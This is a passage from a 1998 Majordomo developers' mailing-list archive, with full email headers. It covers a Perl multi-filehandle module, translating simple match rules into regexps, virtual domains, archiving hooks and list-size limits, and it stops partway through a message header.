(v 1.02), a simple module to handle printing to multiple (output) filehandles, with single print() or printf() calls. Requires: IO::File (and it's requirements) Installation: You should know the routine by now... perl Makefile.PL make test make install If for some reason MakeMaker is broken or you have a personal problem with the make command (seek help), you can just copy Multi.pm into your perl site directory and everything should be okay. Author: Nem W Schlecht (nem@plains.nodak.edu) Multi.pm - Copyright (c) 1996 by Nem W Schlecht. All rights reserved. This is free software; you can distribute it and/or modify it under the same terms as Perl itself. Simple example: #!/local/bin/perl use IO::File::Multi; $mh1 = new IO::File::Multi; $mh1->open(">-"); # print to stdout $mh1->open("| lpr"); # print to hard-copy printer $mh1->open(">>log"); # append to log file $mh1->print("This line goes to multiple places!\n"); $mh1->printf("This is just a number: %2.2f\n", 12.535632); $mh1->close(); # close all filehandles So from Archive.pm $hyper = "HyperNews -i -u -d" # Open and lock the archive $fh = new Mj::File::Multi; $fh->open("$dir/$self->{'list'}/$arc", ">>"); if ($hyper) { $fh->open("| $hyper $dir/$self->{'list'}/$year$month$count/$arc"); } ...... # Close the archive $fh->close; Sort of a start of a general mechanism. Randall From majordomo-workers-owner Fri Oct 2 06:14:34 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id GAA24844; Fri, 2 Oct 1998 06:03:21 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id GAA24837 for ; Fri, 2 Oct 1998 06:03:13 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id IAA24617; Fri, 2 Oct 1998 08:19:40 -0500 (CDT) To: "Roger B.A. Klorese" Cc: majordomo-workers@GreatCircle.COM Subject: Re: Regexp wizard References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 02 Oct 1998 08:19:40 -0500 In-Reply-To: "Roger B.A. Klorese"'s message of "Thu, 1 Oct 1998 22:47:23 -0700 (PDT)" Message-ID: Lines: 32 X-Mailer: Gnus v5.6.24/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "RBAK" == Roger B A Klorese writes: RBAK> Of course it can. "Unless" == "and not". Right, but I was under the impression that you could do: Subject: starts with blah unless From: ends with aol.com which can't be done line by line. You must apply several expressions, save state between them and decide what to do after you've matched the entire header. RBAK> Why not? RBAK> From contains "majordomo@" unless To contains "majordomo-owner@" Requires stateful processing of the entire header. You can do things like this already, using multiple lines, but not all in one expression. Now, just how would I use this to compare address? Show me all users on the list with To: containing, umm, what? It doesn't seem to apply. We're looking at simplified pattern matchers, not a header matching language. Close but not the same thing. If you want the latter, it's time to get deep into the code and start rewriting things to make it doable. The way its currently done borrows heavily from Mj1 (taboo_headers, matching line by line) with its own stateful mechanism that doesn't quite map onto what you are proposing. Not that it couldn't be made to work with enough coding, but it's more in depth than translating the expression into a regexp. - J< From majordomo-workers-owner Fri Oct 2 06:45:38 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id GAA25319; Fri, 2 Oct 1998 06:40:47 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id GAA25306 for ; Fri, 2 Oct 1998 06:40:32 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id IAA25286; Fri, 2 Oct 1998 08:56:58 -0500 (CDT) To: majordomo-workers@greatcircle.com, "Andrew M. Bishop" Subject: Re: Security flaw in confirmation cookie References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 02 Oct 1998 08:56:57 -0500 In-Reply-To: "Andrew M. Bishop"'s message of "Wed, 30 Sep 1998 19:59:38 +0100" Message-ID: Lines: 15 X-Mailer: Gnus v5.6.24/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "AMB" == Andrew M Bishop writes: AMB> I am using majordomo V1.94, I don't know if it has been brought to AMB> your attention that it is possible to generate authentication cookies [...] It's been known for a while. Dan Bernstein posted this kind of attack (which I think is common to all stateless cookie schemes like this) a while back. If you want secure authentication tokens, you'll have to use the development version (which uses random tokens and keeps state) or apply OXymoron's secure cookie patch to 1.94.4. - J< From majordomo-workers-owner Fri Oct 2 08:01:18 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id HAA26140; Fri, 2 Oct 1998 07:41:50 -0700 (PDT) Received: from queernet.queernet.org (queernet.queernet.org [140.174.78.69]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id HAA26133 for ; Fri, 2 Oct 1998 07:41:36 -0700 (PDT) Received: from localhost (rogerk@localhost) by queernet.queernet.org (8.9.0/8.9.0) with ESMTP id HAA09039 Date: Fri, 2 Oct 1998 07:57:46 -0700 (PDT) From: "Roger B.A. Klorese" To: Jason L Tibbitts III cc: majordomo-workers@GreatCircle.COM Subject: Re: Regexp wizard In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk On 2 Oct 1998, Jason L Tibbitts III wrote: > Requires stateful processing of the entire header. You can do things like > this already, using multiple lines, but not all in one expression. Sounds like perl is kinda crippled in this regard, then; couldn't sed or awk do it? > Now, just how would I use this to compare address? Show me all users on > the list with To: containing, umm, what? It doesn't seem to apply. We're > looking at simplified pattern matchers, not a header matching language. Show me all users on the list with To: containing "att." unless To: contains "worldnet.att.net". That is, all AT&T subscribers who are not Worldnet subscribers. -- ROGER B.A. KLORESE rogerk@QueerNet.ORG urgent: rogerk-page@QueerNet.ORG 2215-R Market Street #576 San Francisco, CA 94114 +1 415 ALL-ARFF "There is only one real blasphemy -- the refusal of joy!" -- Paul Rudnick From majordomo-workers-owner Fri Oct 2 08:22:00 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id IAA26718; Fri, 2 Oct 1998 08:11:09 -0700 (PDT) Received: from queernet.queernet.org (queernet.queernet.org [140.174.78.69]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id IAA26711 for ; Fri, 2 Oct 1998 08:11:00 -0700 (PDT) Received: from localhost (rogerk@localhost) by queernet.queernet.org (8.9.0/8.9.0) with ESMTP id IAA09441 Date: Fri, 2 Oct 1998 08:27:08 -0700 (PDT) From: "Roger B.A. Klorese" To: Jason L Tibbitts III cc: majordomo-workers@GreatCircle.COM Subject: Re: Regexp wizard In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk On 2 Oct 1998, Jason L Tibbitts III wrote: > But there aren't any 'headers' involved; the 'To:' is anomalous. How so? How about, then, "'From:' contains foo.com unless "From:' contains 'public.foo.com'"? How is that anomalous? > To see why this doesn't really map onto regexps well, try translating > something as simple as "contains abcdef and contains ghijk". Order matters > to regexps, so you need the awkward /(abcdef.*ghijk)|(ghijk.*abcdef)/. The > complexity increases exponentially from there. Yes, and I don't care. This is the problem: I'm a user talking about a capability, and you're a programmer trying to figure out an alternate implementation of a mechanism that doesn't implement it. -- ROGER B.A. KLORESE rogerk@QueerNet.ORG urgent: rogerk-page@QueerNet.ORG 2215-R Market Street #576 San Francisco, CA 94114 +1 415 ALL-ARFF "There is only one real blasphemy -- the refusal of joy!" -- Paul Rudnick From majordomo-workers-owner Fri Oct 2 08:27:55 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id IAA26795; Fri, 2 Oct 1998 08:17:06 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id IAA26788 for ; Fri, 2 Oct 1998 08:16:58 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id KAA27843; Fri, 2 Oct 1998 10:33:22 -0500 (CDT) To: "Roger B.A. Klorese" Cc: majordomo-workers@GreatCircle.COM Subject: Re: Regexp wizard References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 02 Oct 1998 10:33:21 -0500 In-Reply-To: "Roger B.A. Klorese"'s message of "Fri, 2 Oct 1998 08:27:08 -0700 (PDT)" Message-ID: Lines: 22 X-Mailer: Gnus v5.6.24/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "RBAK" == Roger B A Klorese writes: >> But there aren't any 'headers' involved; the 'To:' is anomalous. RBAK> How so? Say 'which' takes a regular expression. You want to use a simplified expression, but it deals with headers. Where are the headers? There are lots of places where a regexp is applied to a list of addresses; these are the places where we want to use these simplified expressions. Having something that is completely designed around headers doesn't help here. RBAK> Yes, and I don't care. This is the problem: I'm a user talking about RBAK> a capability, and you're a programmer trying to figure out an RBAK> alternate implementation of a mechanism that doesn't implement it. I thought I was just one programmer talking to another. I'm trying to hash out a way that it could work so that someone else (i.e. I thought it was you) could implement it. I'm not planning to do this myself in the foreseeable future; I have enough to do already. - J< From majordomo-workers-owner Fri Oct 2 08:43:58 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id IAA26945; Fri, 2 Oct 1998 08:34:17 -0700 (PDT) Received: from queernet.queernet.org (queernet.queernet.org [140.174.78.69]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id IAA26938 for ; Fri, 2 Oct 1998 08:34:03 -0700 (PDT) Received: from localhost (rogerk@localhost) by queernet.queernet.org (8.9.0/8.9.0) with ESMTP id IAA09894 Date: Fri, 2 Oct 1998 08:50:22 -0700 (PDT) From: "Roger B.A. Klorese" To: Jason L Tibbitts III cc: majordomo-workers@GreatCircle.COM Subject: Re: Regexp wizard In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk On 2 Oct 1998, Jason L Tibbitts III wrote: > RBAK> Yes, and I don't care. This is the problem: I'm a user talking about > RBAK> a capability, and you're a programmer trying to figure out an > RBAK> alternate implementation of a mechanism that doesn't implement it. > > I thought I was just one programmer talking to another. I'm trying to hash > out a way that it could work so that someone else (i.e. I thought it was > you) could implement it. I'm not planning to do this myself in the > foreseeable future; I have enough to do already. Let's try that I bit differently: i'm trying to specify capability -> implementation. You're talking implementation -> alternate implementation. -- ROGER B.A. KLORESE rogerk@QueerNet.ORG urgent: rogerk-page@QueerNet.ORG 2215-R Market Street #576 San Francisco, CA 94114 +1 415 ALL-ARFF "There is only one real blasphemy -- the refusal of joy!" -- Paul Rudnick From majordomo-workers-owner Fri Oct 2 08:59:25 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id IAA26591; Fri, 2 Oct 1998 08:04:46 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id IAA26584 for ; Fri, 2 Oct 1998 08:04:37 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id KAA27350; Fri, 2 Oct 1998 10:21:06 -0500 (CDT) To: "Roger B.A. Klorese" Cc: majordomo-workers@GreatCircle.COM Subject: Re: Regexp wizard References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 02 Oct 1998 10:21:05 -0500 In-Reply-To: "Roger B.A. Klorese"'s message of "Fri, 2 Oct 1998 07:57:46 -0700 (PDT)" Message-ID: Lines: 37 X-Mailer: Gnus v5.6.24/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "RBAK" == Roger B A Klorese writes: RBAK> Sounds like perl is kinda crippled in this regard, then; couldn't sed RBAK> or awk do it? I don't think so. Perl can _if_ you slurp the header all into one string. Assume you don't. So you see the Subject: header and you have to return either yes or no, right them. But you haven't seen the From: header yet, so you really don't know. You have to look through until you see the from: header, then reconcile what are two separate matches. Now I didn't pull everything into a single string because Mj1 didn't; for some reason I also thought that it would let someone suck down all of your RAM by sending you a big header. Then again, the MIME modules stuff the header in memory anyway, so perhaps it's not an issue. I'll think about what it would take to do it; it would certainly speed up a few comparison loops. RBAK> Show me all users on the list with To: containing "att." unless To: RBAK> contains "worldnet.att.net". That is, all AT&T subscribers who are RBAK> not Worldnet subscribers. But there aren't any 'headers' involved; the 'To:' is anomalous. Just a generic 'containing blah unless containing hurl' makes much more sense for that application. To see why this doesn't really map onto regexps well, try translating something as simple as "contains abcdef and contains ghijk". Order matters to regexps, so you need the awkward /(abcdef.*ghijk)|(ghijk.*abcdef)/. The complexity increases exponentially from there. Perhaps perl5.005, with all of its new regexp goodies, has some features that would help here. I don't pretend to even understand them all, though. It may be worth it to make this feature conditional upon perl5.005 if indeed there is something there that will help. - J< From majordomo-workers-owner Fri Oct 2 09:58:00 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id JAA27799; Fri, 2 Oct 1998 09:44:01 -0700 (PDT) Received: from smtp4.nwnexus.com (smtp4.nwnexus.com [206.63.63.52]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id JAA27792 for ; Fri, 2 Oct 1998 09:43:47 -0700 (PDT) Received: from [206.63.47.20] (callisto.nwnexus.com [206.63.47.20]) by smtp4.nwnexus.com (8.8.8/8.8.8) with ESMTP id KAA16623 for ; Fri, 2 Oct 1998 10:00:07 -0700 (PDT) X-Sender: wdickson@mail.halcyon.com Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Fri, 2 Oct 1998 09:46:29 -0700 To: majordomo-workers@greatcircle.com From: "William R. Dickson -- System Administration" Subject: Virtual domains Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Hi all, Could anybody give me a brief explanation (or point me to information) of how virtual domains work in mj2? Say I want two majordomo addresses: majordomo@domain1.com and majordomo@domain2.com. Both are to be hosted on the same server, which is named majordomo.domain.net. The only way I can think of to accomplish this is to set up a virtual mail table (virtual mail is already set up on the system in question): majordomo@domain1.com mj-domain1@majordomo.domain.net majordomo@domain2.com mj-domain2@majordomo.domain.net And then set up the majordomo aliases as follows: mj-domain1: "|/usr/local/libexec/majordomo/bin/mj_email -m -d domain1.com" mj-domain2: "|/usr/local/libexec/majordomo/bin/mj_email -m -d domain2.com" Is there a better way? Thanks, -Bill -- William R. Dickson - System Administration wdickson@nwnexus.com Northwest Nexus - Professional Internet Services Bellevue, WA USA Voice: 425 455-3505 Web: http://www.nwnexus.com/ Info: info@nwnexus.com From majordomo-workers-owner Fri Oct 2 12:13:59 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id MAA00599; Fri, 2 Oct 1998 12:06:45 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-980202-1) id MAA00589 for majordomo-workers@greatcircle.com; Fri, 2 Oct 1998 12:06:41 -0700 (PDT) Received: from Kitten.mcs.com (Kitten.mcs.com [192.160.127.90]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id RAA10977 for ; Thu, 1 Oct 1998 17:39:41 -0700 (PDT) Received: from Mercury.mcs.net (les@Mercury.mcs.net [192.160.127.80]) by Kitten.mcs.com (8.8.7/8.8.2) with ESMTP id TAA29493; Thu, 1 Oct 1998 19:56:01 -0500 (CDT) Received: (from les@localhost) by Mercury.mcs.net (8.8.7/8.8.2) id TAA02268; Thu, 1 Oct 1998 19:56:00 -0500 (CDT) From: Leslie Mikesell Message-Id: <199810020056.TAA02268@Mercury.mcs.net> Subject: Re: Archives: implementation ideas To: rsw@Glue.umd.edu (Randall S. Winchester) Date: Thu, 1 Oct 1998 19:56:00 -0500 (CDT) Cc: tibbs@hpc.uh.edu, majordomo-workers@GreatCircle.COM In-Reply-To: from "Randall S. Winchester" at Oct 1, 98 04:28:30 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk According to Randall S. Winchester: > 2) It would very nice to have hooks to pipe a copy of the mail to a program > during the archive phase. I don't see any reason to combine the list handler and the archive handler in the same program at all. Why not make a generic email to archive program, connect it to a separate alias and subscribe the alias to the list? That way you can have the archive on another machine or multiple copies in different locations and sendmail does all the work for you. Or if you want to archive someone else's list it all works the same. Les Mikesell les@mcs.com From majordomo-workers-owner Fri Oct 2 12:28:26 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id MAA00586; Fri, 2 Oct 1998 12:06:39 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-980202-1) id MAA00576 for majordomo-workers@greatcircle.com; Fri, 2 Oct 1998 12:06:36 -0700 (PDT) Received: from sparc.SanDiegoCA.NCR.COM (tan7.NCR.COM [192.127.94.7]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id RAA10809 for ; Thu, 1 Oct 1998 17:20:03 -0700 (PDT) Received: from ssol020.sandiegoca.ncr.com (ssol020.SanDiegoCA.NCR.COM [153.64.69.48]) by sparc.SanDiegoCA.NCR.COM (8.8.8/8.8.5) with ESMTP id RAA14522; Thu, 1 Oct 1998 17:36:20 -0700 (PDT) From: Bill Houle Received: (from bhoule@localhost) by ssol020.sandiegoca.ncr.com (8.8.7/8.8.5) id RAA01056; Thu, 1 Oct 1998 17:36:19 -0700 (PDT) Message-Id: <199810020036.RAA01056@ssol020.sandiegoca.ncr.com> Subject: Re: Archives: implementation ideas To: rsw@Glue.umd.edu (Randall S. Winchester) Date: Thu, 1 Oct 1998 17:36:19 -0700 (PDT) Cc: tibbs@hpc.uh.edu, majordomo-workers@GreatCircle.COM In-Reply-To: from "Randall S. Winchester" at Oct 1, 98 06:02:58 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Randall S. Winchester said: > > Yes, MajorCool for the List Administration and Subscription pages would be > good. However when MajorCool gets reworked for Mj2 it would be faster and > cleaner if it used the mj_shell type commands instead of creating mail > messages. Actually, I was planning on calling the Majordomo routines directly (unless there was some efficiency that could be had using the shell at certain times). The only reason v1 used the mail commands was because some of the core routines were not as flexible as I needed. I called the read functions directly, or re-wrote my own if they didn't suit me. I didn't want to do that (rewrite the functions) for the write routines for fear of breaking Mj security, so I just let Mj handle it all. For Mj2, the functions should already provide everything I need. --bill From majordomo-workers-owner Fri Oct 2 12:43:43 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id MAA00853; Fri, 2 Oct 1998 12:17:42 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-980202-1) id MAA00564 for majordomo-workers@greatcircle.com; Fri, 2 Oct 1998 12:06:26 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id OAA07833 for ; Thu, 1 Oct 1998 14:39:24 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id QAA10623; Thu, 1 Oct 1998 16:55:46 -0500 (CDT) To: majordomo-workers@greatcircle.com, "William R. Dickson -- System Administration" Subject: Re: List size limit in MJ1.9.x References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 01 Oct 1998 16:55:45 -0500 In-Reply-To: "William R. Dickson -- System Administration"'s message of "Thu, 1 Oct 1998 10:44:58 -0700" Message-ID: Lines: 29 X-Mailer: Gnus v5.6.24/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "WRD" == "William R Dickson <-- System Administration" > writes: WRD> Is there a practical upper limit on the size of a mailing list in MJ1? No. Perhaps a few hundred thousand if the turnover isn't that high. Add and remove operations scale linearly with size. Time to delivery is almost entirely defined by your MTA at this size. WRD> What's a mailing like this likely to do to me? That depends. If you're running bulk_mailer with ten addresses per envelope, your server will explode into a smouldering blob. Otherwise it isn't going to do all that much except eat your network bandwidth and take a while. If the list has a lot of bounces then you will have to deal with all of those, which could be more problematic than the outbound traffic. The only time when a large mailing list becomes a problem is when you can't deliver the mail fast enough, so that you have a permanent and growing backlog. Of course, if it's spam you're sending, expect things to explode just because of hacks, mailbombs, complaints and nice folks setting their MTAs to sleep for a while, then fail with 4xx error codes (temporary failures) so you spend all of your time retrying deliveries. It is very difficult to spam 'legitimately' (i.e. without forging the return address and hijacking someone else's servers) because people will know where the mail is coming from and they won't be happy. - J< From majordomo-workers-owner Fri Oct 2 13:28:21 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id NAA02061; Fri, 2 Oct 1998 13:18:57 -0700 (PDT) Received: from queernet.queernet.org (queernet.queernet.org [140.174.78.69]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id NAA02053 for ; Fri, 2 Oct 1998 13:18:48 -0700 (PDT) Received: from localhost (rogerk@localhost) by queernet.queernet.org (8.9.0/8.9.0) with ESMTP id NAA02853 Date: Fri, 2 Oct 1998 13:34:57 -0700 (PDT) From: "Roger B.A. Klorese" To: Bill Houle cc: Jason L Tibbitts III , majordomo-workers@GreatCircle.COM Subject: Re: Regexp wizard In-Reply-To: <199810022017.NAA09395@ssol020.sandiegoca.ncr.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk On Fri, 2 Oct 1998, Bill Houle wrote: > I am perfectly happy with a single-clause english language > simplification to substitute for a single atomic regexp out of an > array. I can forego the and'ing and or'ing of clauses. Even if not > 100% Eudora-like, I still think that: > > | contains foo | /foo/ > | does not contain foo | !/foo/ > | starts with foo | /^foo/ > | ends with foo | /foo$/ > | is foo | /foo/ > | is not foo | !/foo/ > > would be a simple addition that would benefit many. I would hate to > see the idea thrown out just because conjunctive clauses cannot be > translated cleanly into regexps. Agreed. I'd like to see -- at some point -- more complex stuff which probably would require doing the whole header stuff. But for now, this would be a big win. -- ROGER B.A. KLORESE rogerk@QueerNet.ORG urgent: rogerk-page@QueerNet.ORG 2215-R Market Street #576 San Francisco, CA 94114 +1 415 ALL-ARFF "There is only one real blasphemy -- the refusal of joy!" -- Paul Rudnick From majordomo-workers-owner Fri Oct 2 14:59:10 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id OAA03534; Fri, 2 Oct 1998 14:50:24 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id OAA03511 for ; Fri, 2 Oct 1998 14:50:11 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id RAA07423; Fri, 2 Oct 1998 17:06:33 -0500 (CDT) To: majordomo-workers@greatcircle.com, "William R. Dickson -- System Administration" Subject: Re: Virtual domains References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 02 Oct 1998 17:06:33 -0500 In-Reply-To: "William R. Dickson -- System Administration"'s message of "Fri, 2 Oct 1998 09:46:29 -0700" Message-ID: Lines: 19 X-Mailer: Gnus v5.6.24/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "WRD" == "William R Dickson <-- System Administration" > writes: WRD> Hi all, Could anybody give me a brief explanation (or point me to WRD> information) of how virtual domains work in mj2? Note that this is almost completely MTA-specific. Perhaps it would be better to approach this from the standpoint of how you would set up a virtual domain in the first place. Mj2 support of that should be very easy. I would be very interested in knowing how all MTAs handle this kind of thing, so that I can teach Mj2 how to set it up automatically. WRD> Is there a better way? Isn't the way you suggest the way it was intended to work? You seem to imply that that method is somehow suboptimal. - J< From majordomo-workers-owner Fri Oct 2 16:28:12 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id QAA05088; Fri, 2 Oct 1998 16:25:47 -0700 (PDT) Received: from windlord.stanford.edu (windlord.Stanford.EDU [171.64.12.23]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with SMTP id QAA05072 for ; Fri, 2 Oct 1998 16:25:35 -0700 (PDT) Received: (qmail 18205 invoked by uid 50); 2 Oct 1998 23:42:01 -0000 To: majordomo-workers@GreatCircle.COM Subject: Re: Regexp wizard References: <199809260202.TAA09927@ssol020.sandiegoca.ncr.com> From: Russ Allbery In-Reply-To: Jason L Tibbitts III's message of "01 Oct 1998 00:39:00 -0500" Date: 02 Oct 1998 16:42:01 -0700 Message-ID: Lines: 14 X-Mailer: Gnus v5.4.66/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Jason L Tibbitts writes: > I don't see any other applicable modules. In any case, it seems a waste > to requires users to find yet another module for something that can be > implemented in 30 lines of code. Well, like I said, the code that I sent is completely untested but if it works feel free to go ahead and use it. (If I find some free time, I'll probably wrap a module around it since I don't appear to be duplicating effort, but I agree that there's no real reason to make users find it as a module when it can be just included in majordomo directly.) -- Russ Allbery (rra@stanford.edu) From majordomo-workers-owner Fri Oct 2 16:43:14 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id QAA05151; Fri, 2 Oct 1998 16:28:23 -0700 (PDT) Received: from windlord.stanford.edu (windlord.Stanford.EDU [171.64.12.23]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with SMTP id QAA05137 for ; Fri, 2 Oct 1998 16:28:08 -0700 (PDT) Received: (qmail 18212 invoked by uid 50); 2 Oct 1998 23:44:32 -0000 To: majordomo-workers@GreatCircle.COM Subject: Re: MailMan References: <199809242217.PAA25379@ssol020.sandiegoca.ncr.com> From: Russ Allbery In-Reply-To: Bill Houle's message of "Thu, 24 Sep 1998 15:17:54 -0700 (PDT)" Date: 02 Oct 1998 16:44:32 -0700 Message-ID: Lines: 13 X-Mailer: Gnus v5.4.66/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk Bill Houle writes: > I like the integrated mail2news -- this was mainly what I was aiming for > with my "virtual lists" concept discussed last week. FWIW, integrating mail to news and news to mail with MJ2 is still on my todo list as something I'd like to do with News::Gateway, although there are a series of issues that will have to be resolved before that can happen. (And I'm currently *massively* behind on every project I have, so it's going to be a while in any case.) -- Russ Allbery (rra@stanford.edu) From majordomo-workers-owner Fri Oct 2 17:13:06 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id RAA05948; Fri, 2 Oct 1998 17:10:58 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id RAA05941 for ; Fri, 2 Oct 1998 17:10:48 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id TAA09490; Fri, 2 Oct 1998 19:27:21 -0500 (CDT) To: majordomo-workers@greatcircle.com, Bill Houle Subject: Re: Regexp wizard References: <199810022017.NAA09395@ssol020.sandiegoca.ncr.com> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 02 Oct 1998 19:27:20 -0500 In-Reply-To: Bill Houle's message of "Fri, 2 Oct 1998 13:17:23 -0700 (PDT)" Message-ID: Lines: 39 X-Mailer: Gnus v5.6.24/Emacs 19.34 Sender: majordomo-workers-owner@GreatCircle.COM Precedence: bulk >>>>> "BH" == Bill Houle writes: BH> I am perfectly happy with a single-clause english language BH> simplification to substitute for a single atomic regexp out of an BH> array. I can forego the and'ing and or'ing of clauses. Even if not 100% BH> Eudora-like, I still think that: [example nuked] Well, you can still do headers as qualifiers. Or, to fit in with what a lot of people seem to do: user is: /^user\@/ domain is: /.*\@([^.]+\.)*domain$/ host is: /.*\@host(\.[^.]+)*$/ This seems to map well onto most places where regexps are used in Mj2. These should not be terribly difficult to integrate; even 'or' conjunctions can be done within regexps painlessly. There are some places where 'and' can be done; if treated as special cases you can get a pretty good amount of functionality: user is blah and domain is aol.com: /^blah\@.*aol.com$/ which as a special case of the general 'and' clause which is easy to translate into: /^Subject:.*blah/. 'or' clauses are easy to say in regexps. I fear that 'does not contain' is difficult because the negator is outside of the regexp proper. Perhaps I can change the way that works a bit. Actually, if a converter is written that, when it absolutely cannot make a single regexp, returns a list of [regexp, negate_flag] tuples, I will find a way to make use of them when appropriate. Bill, you seem to know what you're doing here; can you take a crack at writing a converter? Perhaps you have something already. - J< From majordomo-workers-owner Fri Oct 2 18:58:11 1998 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-980720-1) id SAA07445; Fri, 2 Oct 1998 18:43:28 -0700 (PDT) Received: from Kitten.mcs.com (Kitten.mcs.com [192.160.127.90]) by honor.greatcircle.com (8.8.5/Honor-980202-1) with ESMTP id SAA07438 for ; Fri, 2 Oct 1998 18:43:17 -0700 (PDT) Received: from Mars.mcs.net (les@Mars.mcs.net [192.160.127.85]) by Kitten.mcs.com (8.8.7/8.8.2) with ESMTP id UAA14771; Fri, 2 Oct 1998 20:59:45 -0500 (CDT) Received: 